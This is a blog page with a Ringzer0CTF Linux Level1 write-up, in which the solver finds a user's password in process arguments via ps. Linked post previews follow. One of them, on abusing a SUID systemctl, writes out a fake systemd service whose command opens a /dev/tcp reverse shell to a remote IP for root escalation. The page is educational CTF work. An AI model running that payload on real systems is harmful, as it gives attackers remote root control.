Skip to main content

Ringzer0CTF – Linux – Level1


Ringzer0CTF – Linux – Level1
Objective:
Get the flag…… I don’t know what else to put here


Solution:

Find Trinity password

User: morpheus
Password: VNZDDLq2x9qXCzVdABbR1HOtz

ok let’s start by connecting via ssh using the provided creds

 morpheus@lxc-sysadmin:~$


lets start by checking the home directory


morpheus@lxc-sysadmin:~$ ls -al
total 20
dr-x------ 2 morpheus morpheus 4096 Oct 17  2018 .
drwxr-xr-x 8 root     root     4096 May 30  2018 ..
lrwxrwxrwx 1 root     root        9 May 30  2018 .bash_history -> /dev/null
-r-x------ 1 morpheus morpheus  220 Aug 31  2015 .bash_logout
-r-x------ 1 morpheus morpheus 3771 Jun  2  2018 .bashrc
lrwxrwxrwx 1 root     root        9 Oct 17  2018 .mysql_history -> /dev/null
-r-x------ 1 morpheus morpheus  655 May 16  2017 .profile


Nothing there…

Lets look at the passwd file to see if trinity exists on the system, so we know if it’s a system account we are trying to gain or if there is something somewhere else


morpheus@lxc-sysadmin:~$ cat /etc/passwd      **********Edited for brevity*********


morpheus:x:1000:1001::/home/morpheus:/bin/bash
trinity:x:1001:1002::/home/trinity:/bin/bash
architect:x:1002:1003::/home/architect:/bin/bash
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
oracle:x:1003:1004::/home/oracle:/bin/bash
neo:x:1004:1005::/home/neo:/bin/bash
cypher:x:1005:1006::/home/cypher:/bin/bash


ok there is a trinity account with the password stored in the shadow file
let’s see if Morpheus resused his password for root, to see if we can see the shadow file

morpheus@lxc-sysadmin:~$ su
Password:
su: Authentication failure
 

Nope

Ok lets see if trinity is logged in or if there are processes running under her login

Here is the man for PS to see process status




Let’s start with just ps

morpheus@lxc-sysadmin:~$ ps
  PID TTY          TIME CMD
27052 pts/5    00:00:00 bash
27153 pts/5    00:00:00 ps


That just shows us our running processes let’s see if ps has some switches we can throw to get more data

Lets add -x which gives us more information about the command that associated with process

morpheus@lxc-sysadmin:~$ ps -x
  PID TTY      STAT   TIME COMMAND
25437 ?        SN     0:00 sshd: morpheus@notty
27051 ?        RN     0:00 sshd: morpheus@pts/5
27052 pts/5    SNs    0:00 -bash


Ok but that still only shows the Morpheus processes
Lets add a to get processes from other users

morpheus@lxc-sysadmin:~$ ps -xa
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:04 /sbin/init
   38 ?        Ss     0:35 /lib/systemd/systemd-journald
   73 ?        Ss     0:05 /usr/sbin/cron -f
   75 ?        Ssl    0:08 /usr/sbin/rsyslogd -n
  156 ?        Ss     0:03 /usr/sbin/sshd -D
  159 ?        S      0:27 /bin/sh /root/files/backup.sh -u trinity -p Flag-7e0cfcf090a2fe53c97ea3edd3883d0d
  172 pts/1    Ss+    0:00 /sbin/agetty --noclear --keep-baud pts/1 115200 38400 9600 vt220
  175 ?        Ss+    0:00 /sbin/agetty --noclear --keep-baud console 115200 38400 9600 vt220
  176 pts/0    Ss+    0:00 /sbin/agetty --noclear --keep-baud pts/0 115200 38400 9600 vt220
  178 pts/3    Ss+    0:00 /sbin/agetty --noclear --keep-baud pts/3 115200 38400 9600 vt220
  181 pts/2    Ss+    0:00 /sbin/agetty --noclear --keep-baud pts/2 115200 38400 9600 vt220
  184 ?        Ssl   15:54 /usr/sbin/mysqld
13094 ?        SN     0:00 su neo -c /bin/monitor
13097 ?        SNs    0:00 /bin/monitor
24140 ?        SN     0:00 su cypher -c python /tmp/Gathering.py
24142 ?        SNs    0:00 python /tmp/Gathering.py
24146 ?        SN     0:00 sh -c grep -R password /
24147 ?        SN     0:00 grep -R password /
25420 ?        SNs    0:00 sshd: morpheus [priv]
25437 ?        SN     0:00 sshd: morpheus@notty
27044 ?        SNs    0:00 sshd: morpheus [priv]
27051 ?        SN     0:00 sshd: morpheus@pts/5
27052 pts/5    SNs    0:00 -bash
27202 ?        S      0:00 sleep 10
27204 pts/5    RN+    0:00 ps -xa


Aha there is a backup.sh running with trinity’s user/pass

  159 ?        S      0:27 /bin/sh /root/files/backup.sh -u trinity -p Flag-7e0cfcf090a2fe53c97ea3edd3883d0d





Comments

Popular posts from this blog

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar